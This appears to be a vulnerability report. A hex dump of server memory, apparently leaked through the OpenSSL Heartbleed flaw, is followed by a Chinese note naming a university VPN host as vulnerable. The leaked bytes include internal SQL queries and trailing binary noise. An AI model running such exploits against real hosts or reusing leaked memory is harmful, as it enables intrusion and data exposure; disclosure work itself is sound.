24b0: 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 20 else.
24c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
24d0: 20 20 20 20 30 0A 20 20 20 20 20 20 20 20 20 20 0.
24e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6E en
24f0: 64 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F d) AS EQUIPMENT_
2500: 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 20 20 20 MONEY,.
2510: 20 20 20 20 20 20 20 20 20 20 20 6D 61 78 28 65 max(e
2520: 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 6C 28 65 qu.PRICE + nvl(e
2530: 71 75 2E 61 74 74 61 63 68 5F 70 72 69 63 65 2C qu.attach_price,
2540: 20 30 29 29 20 41 53 20 45 51 55 49 50 4D 45 4E 0)) AS EQUIPMEN
2550: 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 20 20 T_MAX_MONEY,.
2560: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2570: 20 20 6D 69 6E 28 65 71 75 2E 63 6F 64 65 20 7C min(equ.code |
2580: 7C 20 27 2D 27 20 7C 7C 20 65 71 75 2E 6E 61 6D | '-' || equ.nam
2590: 65 29 20 61 73 20 73 75 62 0A 20 20 20 20 20 20 e) as sub.
25a0: 20 20 20 20 20 20 20 20 20 46 52 4F 4D 20 45 51 FROM EQ
25b0: 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E 67 UIPMENT_flitting
25c0: 6F 75 74 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 out_LIST ECL.
25d0: 20 20 20 20 20 20 20 20 20 20 20 20 6C 65 66 74 left
25e0: 20 6A 6F 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 join equipment
25f0: 65 71 75 0A 20 20 20 20 20 20 20 20 20 20 20 20 equ.
2600: 20 20 20 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 on ecl.equi
2610: 70 6D 65 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 pment_code = equ
2620: 2E 63 6F 64 65 0A 20 20 20 20 20 20 20 20 20 20 .code.
2630: 20 20 20 20 47 52 4F 55 50 20 42 59 20 45 43 4C GROUP BY ECL
2640: 2E 45 51 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 .EQUIPMENT_flitt
2650: 69 6E 67 6F 75 74 5F 49 44 29 20 54 0A 20 20 20 ingout_ID) T.
2660: 20 4F 4E 20 45 43 2E 49 44 FF 20 3D 20 54 2E 45 ON EC.ID. = T.E
2670: 51 55 49 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E QUIPMENT_flittin
2680: 67 6F 75 74 5F 49 44 0A 20 20 4C 45 46 54 20 4A gout_ID. LEFT J
2690: 4F 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F 66 6C OIN EQUIPMENT_fl
26a0: 69 74 74 69 6E 67 6F 75 74 5F 53 45 51 55 45 4E ittingout_SEQUEN
26b0: 43 45 20 45 43 53 0A 20 20 20 20 4F 4E 20 45 43 CE ECS. ON EC
26c0: 2E 49 44 20 3D 20 45 43 53 2E 45 51 55 49 50 4D .ID = ECS.EQUIPM
26d0: 45 4E 54 5F 66 6C 69 74 74 69 6E 67 6F 75 74 5F ENT_flittingout_
26e0: 49 44 0A 20 20 20 41 4E 44 20 45 43 53 2E 49 53 ID. AND ECS.IS
26f0: 5F 43 55 52 52 45 4E 54 20 3D 20 31 0A 20 20 4C _CURRENT = 1. L
2700: 45 46 54 20 4A 4F 49 4E 20 56 5F 53 59 53 54 45 EFT JOIN V_SYSTE
2710: 4D 5F 42 50 4D 5F 53 54 41 54 45 20 42 50 4D 0A M_BPM_STATE BPM.
2720: 20 20 20 20 4F 4E 20 45 43 53 2E 42 50 4D 5F 4E ON ECS.BPM_N
2730: 4F 20 3D 20 42 50 4D 2E 4B 45 59 0A 20 20 6C 65 O = BPM.KEY. le
2740: 66 74 20 6A 6F 69 6E 20 62 61 73 65 5F 64 65 70 ft join base_dep
2750: 20 62 64 20 6F 6E 20 62 64 2E 63 6F 64 65 20 3D bd on bd.code =
2760: 20 74 2E 62 61 73 65 5F 64 FF 65 70 5F 63 6F 64 t.base_d.ep_cod
2770: 65 0A 75 6E 69 6F 6E 20 61 6C 6C 0A 73 65 6C 65 e.union all.sele
2780: 43 54 20 27 6C 6F 73 73 65 73 27 20 61 73 20 74 CT 'losses' as t
2790: 79 70 65 2C 0A 20 20 20 20 20 20 20 27 C5 CC BF ype,. '...
27a0: F7 27 20 61 73 20 74 79 70 65 5F 6E 61 6D 65 2C .' as type_name,
27b0: 0A 20 20 20 20 20 20 20 65 63 2E 61 73 73 65 74 . ec.asset
27c0: 73 5F 74 79 70 65 2C 0A 20 20 20 20 20 20 20 45 s_type,. E
27d0: 43 2E 49 44 2C 0A 20 20 20 20 20 20 20 45 43 2E C.ID,. EC.
27e0: 52 45 51 55 45 53 54 5F 54 49 4D 45 2C 0A 20 20 REQUEST_TIME,.
27f0: 20 20 20 20 20 65 63 2E 72 65 71 75 65 73 74 5F ec.request_
2800: 74 79 70 65 2C 0A 20 20 20 20 20 20 20 74 2E 62 type,. t.b
2810: 61 73 65 5F 64 65 70 5F 63 6F 64 65 2C 0A 20 20 ase_dep_code,.
2820: 20 20 20 20 20 62 64 2E 6E 61 6D 65 20 61 73 20 bd.name as
2830: 62 61 73 65 5F 64 65 70 5F 6E 61 6D 65 2C 0A 20 base_dep_name,.
2840: 20 20 20 20 20 20 45 43 2E 42 41 53 45 5F 54 45 EC.BASE_TE
2850: 41 43 48 45 52 5F 4E 4F 5F 72 65 71 75 65 73 74 ACHER_NO_request
2860: 20 62 61 73 65 5F 74 65 61 FF 63 68 65 72 5F 6E base_tea.cher_n
2870: 6F 5F 72 65 71 75 65 73 74 2C 0A 20 20 20 20 20 o_request,.
2880: 20 20 42 54 31 2E 4E 41 4D 45 20 41 53 20 42 41 BT1.NAME AS BA
2890: 53 45 5F 54 45 41 43 48 45 52 5F 4E 41 4D 45 5F SE_TEACHER_NAME_
28a0: 52 45 51 55 45 53 54 2C 0A 20 20 20 20 20 20 20 REQUEST,.
28b0: 6E 76 6C 28 62 74 31 2E 6D 6F 62 69 6C 65 2C 62 nvl(bt1.mobile,b
28c0: 74 31 2E 74 65 6C 65 70 68 6F 6E 65 29 20 70 68 t1.telephone) ph
28d0: 6F 6E 65 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 one,. NVL(
28e0: 54 2E 4E 55 4D 2C 20 30 29 20 41 53 20 45 51 55 T.NUM, 0) AS EQU
28f0: 49 50 4D 45 4E 54 5F 43 4F 55 4E 54 2C 0A 20 20 IPMENT_COUNT,.
2900: 20 20 20 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 NVL(T.EQUIP
2910: 4D 45 4E 54 5F 4D 4F 4E 45 59 2C 20 30 29 20 41 MENT_MONEY, 0) A
2920: 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E 45 S EQUIPMENT_MONE
2930: 59 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E Y,. NVL(T.
2940: 45 51 55 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F EQUIPMENT_MAX_MO
2950: 4E 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 NEY, 0) AS EQUIP
2960: 4D 45 4E 54 5F 4D 41 58 5F FF 4D 4F 4E 45 59 2C MENT_MAX_.MONEY,
2970: 0A 20 20 20 20 20 20 20 45 43 53 2E 42 50 4D 5F . ECS.BPM_
2980: 4E 4F 2C 0A 20 20 20 20 20 20 20 6E 76 6C 28 45 NO,. nvl(E
2990: 43 53 2E 53 54 41 54 45 2C 20 2D 33 29 20 61 73 CS.STATE, -3) as
29a0: 20 73 74 61 74 65 2C 0A 20 20 20 20 20 20 20 65 state,. e
29b0: 63 73 2E 73 75 62 6D 69 74 5F 74 69 6D 65 2C 0A cs.submit_time,.
29c0: 20 20 20 20 20 20 20 62 70 6D 2E 54 4F 4B 45 4E bpm.TOKEN
29d0: 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 42 50 _TIME,. BP
29e0: 4D 2E 50 52 4F 43 45 53 53 5F 49 44 2C 0A 20 20 M.PROCESS_ID,.
29f0: 20 20 20 20 20 42 50 4D 2E 4A 42 50 4D 5F 4E 4F BPM.JBPM_NO
2a00: 44 45 44 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 DEDEFINITION,.
2a10: 20 20 20 20 20 42 50 4D 2E 70 72 6F 63 65 73 73 BPM.process
2a20: 5F 70 61 67 65 5F 61 65 78 70 2C 0A 20 20 20 20 _page_aexp,.
2a30: 20 20 20 42 50 4D 2E 44 45 46 49 4E 49 54 49 4F BPM.DEFINITIO
2a40: 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 4E 4F N,. BPM.NO
2a50: 44 45 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 4E DE,. BPM.N
2a60: 4F 44 45 5F 4E 41 4D 45 2C FF 0A 20 20 20 20 20 ODE_NAME,..
2a70: 20 20 42 50 4D 2E 45 4E 44 5F 54 49 4D 45 2C 0A BPM.END_TIME,.
2a80: 20 20 20 20 20 20 20 27 C9 EA C7 EB 27 20 7C 7C '....' ||
2a90: 20 43 41 53 45 0A 20 20 20 20 20 20 20 20 20 57 CASE. W
2aa0: 48 45 4E 20 54 2E 4E 55 4D 20 3E 20 31 20 54 48 HEN T.NUM > 1 TH
2ab0: 45 4E 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 EN. T.S
2ac0: 55 42 20 7C 7C 20 27 B5 C8 27 20 7C 7C 20 4E 56 UB || '..' || NV
2ad0: 4C 28 54 2E 4E 55 4D 2C 20 30 29 20 7C 7C 20 27 L(T.NUM, 0) || '
2ae0: CC A8 2F CC D7 D7 CA B2 FA 27 0A 20 20 20 20 20 ../......'.
2af0: 20 20 20 20 45 4C 53 45 0A 20 20 20 20 20 20 20 ELSE.
2b00: 20 20 20 54 2E 53 55 42 0A 20 20 20 20 20 20 20 T.SUB.
2b10: 45 4E 44 20 7C 7C 20 27 B5 C4 C5 CC BF F7 D2 B5 END || '........
2b20: CE F1 27 20 41 53 20 53 55 42 4A 45 43 54 2C 0A ..' AS SUBJECT,.
2b30: 20 20 20 20 20 20 20 62 70 6D 2E 63 61 6E 5F 62 bpm.can_b
2b40: 61 63 6B 2C 0A 20 20 20 20 20 20 20 62 70 6D 2E ack,. bpm.
2b50: 61 64 76 69 63 65 2C 0A 20 20 20 20 20 20 20 27 advice,. '
2b60: 27 20 70 72 6F 76 69 64 65 FF 72 2C 0A 20 20 20 ' provide.r,.
2b70: 20 20 20 20 27 27 20 63 68 61 6E 67 65 70 72 69 '' changepri
2b80: 63 65 2C 0A 20 20 20 20 20 20 20 27 27 20 45 53 ce,. '' ES
2b90: 54 49 4D 41 54 45 5F 43 4F 53 54 2C 0A 20 20 20 TIMATE_COST,.
2ba0: 20 20 20 20 27 27 20 6D 65 72 67 65 5F 70 72 6F '' merge_pro
2bb0: 63 65 73 73 2C 0A 20 20 20 20 20 20 20 65 63 2E cess,. ec.
2bc0: 72 65 6D 61 72 6B 2C 0A 20 20 20 20 20 20 20 20 remark,.
2bd0: 6E 75 6C 6C 20 62 61 63 6B 73 74 6F 63 6B 5F 74 null backstock_t
2be0: 79 70 65 0A 20 20 46 52 4F 4D 20 45 51 55 49 50 ype. FROM EQUIP
2bf0: 4D 45 4E 54 5F 6C 6F 73 73 65 73 20 45 43 0A 20 MENT_losses EC.
2c00: 20 4C 45 46 54 20 4A 4F 49 4E 20 42 41 53 45 5F LEFT JOIN BASE_
2c10: 54 45 41 43 48 45 52 20 42 54 31 0A 20 20 20 20 TEACHER BT1.
2c20: 4F 4E 20 45 43 2E 42 41 53 45 5F 54 45 41 43 48 ON EC.BASE_TEACH
2c30: 45 52 5F 4E 4F 5F 72 65 71 75 65 73 74 20 3D 20 ER_NO_request =
2c40: 42 54 31 2E 4E 4F 0A 20 20 4C 45 46 54 20 4A 4F BT1.NO. LEFT JO
2c50: 49 4E 20 28 53 45 4C 45 43 54 20 73 75 6D 28 63 IN (SELECT sum(c
2c60: 61 73 65 0A 20 20 20 20 20 FF 20 20 20 20 20 20 ase. .
2c70: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2c80: 20 77 68 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 when ECL.STATE
2c90: 49 53 20 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 IS NULL OR ECL.S
2ca0: 54 41 54 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A TATE != -1 then.
2cb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2cc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 31 0A 20 1.
2cd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2ce0: 20 20 20 20 20 20 20 20 20 20 20 65 6C 73 65 0A else.
2cf0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2d00: 20 20 20 20 20 20 20 20 20 20 20 20 20 30 0A 20 0.
2d10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2d20: 20 20 20 20 20 20 20 20 20 65 6E 64 29 20 41 53 end) AS
2d30: 20 4E 55 4D 2C 0A 20 20 20 20 20 20 20 20 20 20 NUM,.
2d40: 20 20 20 20 20 20 20 20 20 20 45 43 4C 2E 45 51 ECL.EQ
2d50: 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 65 73 5F 49 UIPMENT_losses_I
2d60: 44 2C 0A 20 20 20 20 20 20 FF 20 20 20 20 20 20 D,. .
2d70: 20 20 20 20 20 20 20 20 4D 49 4E 28 65 71 75 2E MIN(equ.
2d80: 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 29 20 41 BASE_DEP_CODE) A
2d90: 53 20 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 2C S BASE_DEP_CODE,
2da0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
2db0: 20 20 20 20 20 53 55 4D 28 63 61 73 65 0A 20 20 SUM(case.
2dc0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2dd0: 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 43 4C when ECL
2de0: 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C 20 4F .STATE IS NULL O
2df0: 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D 20 2D R ECL.STATE != -
2e00: 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 20 20 1 then.
2e10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e20: 20 20 65 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 equ.PRICE + nv
2e30: 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 72 69 l(equ.attach_pri
2e40: 63 65 2C 20 30 29 0A 20 20 20 20 20 20 20 20 20 ce, 0).
2e50: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e60: 20 65 6C 73 65 0A 20 20 20 FF 20 20 20 20 20 20 else. .
2e70: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2e80: 20 20 30 0A 20 20 20 20 20 20 20 20 20 20 20 20 0.
2e90: 20 20 20 20 20 20 20 20 20 20 20 20 65 6E 64 29 end)
2ea0: 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F AS EQUIPMENT_MO
2eb0: 4E 45 59 2C 0A 20 20 20 20 20 20 20 20 20 20 20 NEY,.
2ec0: 20 20 20 20 20 20 20 20 20 6D 61 78 28 65 71 75 max(equ
2ed0: 2E 50 52 49 43 45 20 2B 20 6E 76 6C 28 65 71 75 .PRICE + nvl(equ
2ee0: 2E 61 74 74 61 63 68 5F 70 72 69 63 65 2C 20 30 .attach_price, 0
2ef0: 29 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F )) AS EQUIPMENT_
2f00: 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 MAX_MONEY,.
2f10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6D m
2f20: 69 6E 28 65 71 75 2E 63 6F 64 65 20 7C 7C 20 27 in(equ.code || '
2f30: 2D 27 20 7C 7C 20 65 71 75 2E 6E 61 6D 65 29 20 -' || equ.name)
2f40: 61 73 20 73 75 62 0A 20 20 20 20 20 20 20 20 20 as sub.
2f50: 20 20 20 20 20 20 46 52 4F 4D 20 45 51 55 49 50 FROM EQUIP
2f60: 4D 45 4E 54 5F 6C 6F 73 73 FF 65 73 5F 4C 49 53 MENT_loss.es_LIS
2f70: 54 20 45 43 4C 0A 20 20 20 20 20 20 20 20 20 20 T ECL.
2f80: 20 20 20 20 20 6C 65 66 74 20 6A 6F 69 6E 20 65 left join e
2f90: 71 75 69 70 6D 65 6E 74 20 65 71 75 0A 20 20 20 quipment equ.
2fa0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6F 6E on
2fb0: 20 65 63 6C 2E 65 71 75 69 70 6D 65 6E 74 5F 63 ecl.equipment_c
2fc0: 6F 64 65 20 3D 20 65 71 75 2E 63 6F 64 65 0A 20 ode = equ.code.
2fd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 47 52 4F GRO
2fe0: 55 50 20 42 59 20 45 43 4C 2E 45 51 55 49 50 4D UP BY ECL.EQUIPM
2ff0: 45 4E 54 5F 6C 6F 73 73 65 73 5F 49 44 29 20 54 ENT_losses_ID) T
3000: 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 . ON EC.ID =
3010: 54 2E 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 T.EQUIPMENT_loss
3020: 65 73 5F 49 44 0A 20 20 4C 45 46 54 20 4A 4F 49 es_ID. LEFT JOI
3030: 4E 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 73 N EQUIPMENT_loss
3040: 65 73 5F 53 45 51 55 45 4E 43 45 20 45 43 53 0A es_SEQUENCE ECS.
3050: 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 45 ON EC.ID = E
3060: 43 53 2E 45 51 55 49 50 4D 9C 45 4E 54 5F 6C 6F CS.EQUIPM.ENT_lo
3070: 73 73 65 73 5F 49 44 0A 20 20 20 41 4E 44 20 45 sses_ID. AND E
3080: 43 53 2E 49 53 5F 43 55 52 52 45 4E 54 20 3D 20 CS.IS_CURRENT =
3090: 31 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 20 56 5F 1. LEFT JOIN V_
30a0: 53 59 53 54 45 4D 5F 42 50 4D 5F 53 54 41 54 45 SYSTEM_BPM_STATE
30b0: 20 42 50 4D 0A 20 20 20 20 4F 4E 20 45 43 53 2E BPM. ON ECS.
30c0: 42 50 F4 23 B4 2F 49 6F FA BE 94 9F 36 28 96 5F BP.#./Io....6(._
30d0: 7C 48 87 8E 7B 74 7C 08 09 D3 3A 82 29 27 38 FD |H..{t|...:.)'8.
30e0: 49 81 12 2D 5D BB 97 AE 57 5F FE EC 65 31 6E CF I..-]...W_..e1n.
30f0: 31 A3 E9 CE 17 96 54 2F CD 5E B6 7C 5F 7A 86 71 1.....T/.^.|_z.q
3100: 79 50 C6 71 03 13 BA 6D 68 88 8B B5 09 11 BE 3B yP.q...mh......;
3110: D1 16 43 CF B7 DC 9B AE AF 08 47 7F AE 13 27 4D ..C.......G...'M
3120: 16 0C 02 B0 CC 05 BB 72 C5 D4 B6 C7 E3 24 A2 65 .......r.....$.e
3130: C6 B5 86 F5 2C 93 5A B5 6C 0B 02 6C B0 AB A0 45 ....,.Z.l..l...E
3140: 69 6E CD FA B7 9B BD B2 21 3E F8 B3 7C 77 94 D4 in......!>..|w..
3150: 03 56 98 EE 22 0B 6B 53 3D 30 C8 06 DB AE 7A 78 .V..".kS=0....zx
3160: 79 3E 39 4B 74 57 07 3D 79 61 1E 65 4C 81 C3 CC y>9KtW.=ya.eL...
3170: EA 11 FB 5A 65 08 35 CB 05 8D 4E 97 8D EA EF D1 ...Ze.5...N.....
3180: D7 6F D3 45 2C 59 3D EE 1E 70 E7 D9 C1 A9 BB 12 .o.E,Y=..p......
3190: 90 62 1F C4 8D 37 69 13 AF 60 42 DE 20 68 02 A7 .b...7i..`B. h..
31a0: C5 82 FE 53 19 CD 79 B4 7B 69 60 66 B2 52 16 5A ...S..y.{i`f.R.Z
31b0: A4 63 3F 04 07 60 1B BE F2 3A AD 59 F4 99 73 72 .c?..`...:.Y..sr
31c0: AA A4 8F F7 A0 97 9A C1 02 4A 7C C1 3A FE D6 72 .........J|.:..r
31d0: FF 95 17 64 BC 19 08 5F DA EA 00 ED 26 43 DD F2 ...d..._....&C..
31e0: 92 11 82 BD FE 6D 4C 80 0C C3 23 CE A2 0F 3F FE .....mL...#...?.
31f0: 0A 2B 76 98 53 15 CA AF 6D BD A9 7C 24 A9 DA 9B .+v.S...m..|$...
3200: 07 6D A3 FC 78 F4 EE 85 73 45 98 BD 37 43 61 40 .m..x...sE..7Ca@
3210: 1B 9C 4E E0 CC EF 80 5C FC AE 3D 72 03 3B 56 A2 ..N....\..=r.;V.
3220: D0 6D A1 52 D8 8A E0 C4 B6 96 3A 27 10 68 2F 1F .m.R......:'.h/.
3230: 75 44 67 77 77 7D 95 E0 81 6C A0 8E DD 0C 8E 7E uDgww}...l.....~
3240: EE 92 F6 A3 C4 BD 0B F0 06 C3 B6 3F 1F 53 3C 57 ...........?.S<W
3250: 95 06 F2 49 57 1A 38 11 04 76 29 30 79 D7 6D 21 ...IW.8..v)0y.m!
3260: 0F FA 32 86 F9 0C 04 21 55 6A C3 9F 90 69 6F 84 ..2....!Uj...io.
3270: 2C C8 43 B8 D4 F1 FF 19 13 BC D5 19 A3 7F 0D ED ,.C.............
3280: 55 ED E0 F0 FD 14 81 98 62 A2 AE 93 DF 1D 69 C5 U.......b.....i.
3290: 09 21 65 1D 7B A1 E3 84 D4 F0 FA C6 53 F9 4D 2B .!e.{.......S.M+
32a0: FE 31 95 B2 2F 26 CB 87 18 EC B5 4F C6 CB 02 DB .1../&.....O....
32b0: AD B6 30 51 0E D3 94 D6 FA 5C F4 D9 A3 DD 34 A9 ..0Q.....\....4.
32c0: 54 7F FC C6 DB 84 9D F6 30 2D E7 A8 EC EC 16 EF T.......0-......
32d0: 2F 4B 7C C4 FE 71 98 EC 16 1E 2D 2E 42 9A 8E E0 /K|..q....-.B...
32e0: F8 77 2C 97 42 63 10 FA 34 EA 32 4B C7 B9 D1 84 .w,.Bc..4.2K....
32f0: 71 48 32 C9 B7 FA 3E 02 18 DF 40 6E 11 5E 83 39 qH2...>...@n.^.9
3300: AE CD 54 B6 60 C8 B8 83 0C 5D 42 F8 4A 2C 0E 38 ..T.`....]B.J,.8
3310: 34 E2 B6 90 17 03 01 05 A0 1F 44 9F C9 C7 F4 64 4.........D....d
3320: 56 A4 73 23 4D 22 0A 96 90 FA B7 02 C1 9F 15 1E V.s#M"..........
3330: F7 58 BF 00 54 64 7C 0F 40 50 C0 08 58 73 31 37 .X..Td|.@P..Xs17
3340: 27 04 3F 54 F7 FA 43 B3 A7 CA 21 A9 D5 3D D4 C6 '.?T..C...!..=..
3350: 26 2F 9F 52 24 C3 7F E6 27 66 93 6D 93 25 22 B1 &/.R$...'f.m.%".
3360: 3B C0 A3 67 5E 09 DC 24 FC 41 B0 87 EA C1 B4 19 ;..g^..$.A......
3370: 79 D2 7F 41 0A 38 9D 67 2F A3 B9 77 0A B3 96 2E y..A.8.g/..w....
3380: EF 7A 9F 01 64 4D 32 0F 05 73 B4 7B A5 9E 50 10 .z..dM2..s.{..P.
3390: D9 44 F5 69 0F 48 D2 89 A8 99 5D BD 3D BC 68 7C .D.i.H....].=.h|
33a0: 8F 29 82 C8 4D 3A 21 DC 37 D1 E7 DE 9B F2 7D 2B .)..M:!.7.....}+
33b0: EE 06 AF 61 5F 27 E6 87 7D 15 42 91 12 A8 8E 74 ...a_'..}.B....t
33c0: 64 D1 82 3D F3 5F 69 1E 72 29 FC 07 0A DE D9 02 d..=._i.r)......
33d0: F8 DF 89 06 E0 5B FB 7E E3 F4 9F E0 49 14 67 C6 .....[.~....I.g.
33e0: AC FC C6 2B 83 7A 72 94 2A 4D 23 F5 EE 2F 7D 7F ...+.zr.*M#../}.
33f0: 1E 0A F4 F1 D8 C2 B9 FC 37 DB 9F D9 65 36 EA C1 ........7...e6..
3400: A8 1B 1C 61 C9 61 D2 65 6A 75 6A 0E 97 1A 71 EF ...a.a.ejuj...q.
3410: 95 54 24 DF 01 2B 21 2F FF 91 A2 D5 6D 01 83 47 .T$..+!/....m..G
3420: 32 46 9D 35 D5 67 82 4D B6 47 AF DE 0F 19 E1 55 2F.5.g.M.G.....U
3430: 95 76 82 73 4C BA 46 D1 4E F5 F3 03 B2 23 10 ED .v.sL.F.N....#..
3440: EF AA DB EA 65 05 71 31 30 C7 D2 90 21 7A 73 B2 ....e.q10...!zs.
3450: CE 6E 7F 72 C6 6C 71 9A 0F 70 46 1F 4E 9C 8F 23 .n.r.lq..pF.N..#
3460: 0F 26 AF EB 5F D0 03 A9 E8 BC E8 3A EE 01 B4 50 .&.._......:...P
3470: E7 AE A3 A2 81 53 C6 2B 83 8B 39 CB 0F 09 82 4A .....S.+..9....J
3480: 5D DD 7B 52 B4 25 5D 46 11 56 B4 5F 80 7B 51 E7 ].{R.%]F.V._.{Q.
3490: 6D 27 2D F5 69 E3 BE 50 10 3D 34 5C A3 A4 1A C7 m'-.i..P.=4\....
34a0: C7 10 CE 82 64 FC FF DD BF D6 25 E7 BB 07 76 D1 ....d.....%...v.
34b0: 9F 0D 92 EF B6 0E 64 C3 64 15 05 FA 02 38 94 4C ......d.d....8.L
34c0: CE CE BC 8F F6 FD A9 10 9F A0 7A 44 80 C7 75 77 ..........zD..uw
34d0: 85 40 CF F4 63 E6 06 B4 B1 F0 01 2A E6 3B 04 86 .@..c......*.;..
34e0: 2C A6 D7 39 AA 3F EA 70 8E D5 BA AA 19 D1 17 35 ,..9.?.p.......5
34f0: 9D 8A D5 60 D7 25 B4 67 1C 15 44 87 81 A3 0B D9 ...`.%.g..D.....
3500: 50 FC 0D C2 4B 0B 52 9A 20 75 09 6E 47 6D C3 7F P...K.R. u.nGm..
3510: AC 26 77 FE B4 A4 6E 77 08 88 91 13 59 F9 C7 F3 .&w...nw....Y...
3520: 85 F7 29 D4 99 94 59 E1 23 6D E8 46 6B 6D B9 6D ..)...Y.#m.Fkm.m
3530: 6C A9 87 0F C1 F2 AE A6 83 65 F0 53 5D C6 14 13 l........e.S]...
3540: 9A 0A 95 CE 33 FF 2B D4 5E A3 AF 5F 91 9D 20 93 ....3.+.^.._.. .
3550: A1 26 47 F4 C8 A3 6F 21 A9 69 06 06 1B 14 DE F9 .&G...o!.i......
3560: 58 70 13 10 3D F6 93 B7 9F CA 9A C5 87 4E A8 9D Xp..=........N..
3570: 5F 54 A7 19 88 52 2C 55 D6 AD FC B1 7A C4 C6 9A _T...R,U....z...
3580: 90 C9 C3 C7 E2 98 EE 2A 91 AE 24 A1 5F 62 B0 DF .......*..$._b..
3590: BD 3C FF B6 1C 42 98 46 DC 0A 43 E0 C6 9C AF F5 .<...B.F..C.....
35a0: E6 5C 6C 2E 09 F3 CC CF B7 49 33 C2 48 F7 0C C8 .\l......I3.H...
35b0: B0 4D F2 4C 7A 7A 72 31 D9 B0 3B 3C 40 8D 04 9E .M.Lzzr1..;<@...
35c0: 9F 10 E9 5F CE 8C F2 77 C9 9C 7D 35 36 95 7C C3 ..._...w..}56.|.
35d0: 54 5B 32 56 47 10 17 21 A9 51 90 11 74 29 BC FB T[2VG..!.Q..t)..
35e0: E2 3A D2 60 23 36 28 34 CC 58 E0 D3 EA 3B 52 DB .:.`#6(4.X...;R.
35f0: 85 35 CE 91 41 7D 4D E2 D3 89 CD 1C 91 CE 25 29 .5..A}M.......%)
3600: 1A B1 26 A7 73 0C AB 68 19 46 64 4D 6F 67 77 5E ..&.s..h.FdMogw^
3610: 8B 1B E4 26 72 C6 18 2E 0C 47 5F 97 01 DB BD 3F ...&r....G_....?
3620: 0C 8A 23 83 BF 89 FB 00 4E 87 A9 AE 84 DC E4 1D ..#.....N.......
3630: B3 42 C2 40 D1 D9 0F CC 67 43 4E BB 10 C3 DD 67 .B.@....gCN....g
3640: 5C 77 76 C0 DF B1 8F CB 18 1C 44 A6 F7 92 B1 23 \wv.......D....#
3650: 70 DD 67 66 42 27 40 4B 62 A1 9A 3A 82 11 E0 24 p.gfB'@Kb..:...$
3660: EC B3 CD DC D7 0B DD 9D 28 0D 29 4B 31 93 84 72 ........(.)K1..r
3670: 3A DF 26 A7 81 A8 D2 A0 1A EB 4A DC 60 19 CE E0 :.&.......J.`...
3680: FF 31 93 B3 42 CA 7F 00 38 11 52 8C DF 66 D3 BC .1..B...8.R..f..
3690: 7F BE 27 1E E0 27 E4 90 34 85 79 C0 2C FB 90 E1 ..'..'..4.y.,...
36a0: 3E 06 6F 56 57 A7 EA 35 B7 94 C6 14 5D 3C D3 04 >.oVW..5....]<..
36b0: 27 0E BA 2D CB AF 40 AC 3A ED AD 45 1A F6 AA 63 '..-..@.:..E...c
36c0: 61 67 59 79 9D CF 60 0F FD 26 3F FF 29 47 83 6B agYy..`..&?.)G.k
36d0: 83 6F 61 D0 6C D4 63 A3 83 2A 48 4B 73 85 DB D8 .oa.l.c..*HKs...
36e0: 2B FC C1 73 29 76 1F C4 B3 02 C0 93 0A

漏洞证明:

vpn.bjfu.edu.cn:443 存在OpenSSL(CVE-2014-0160)漏洞
Connecting...
Sending Client Hello...
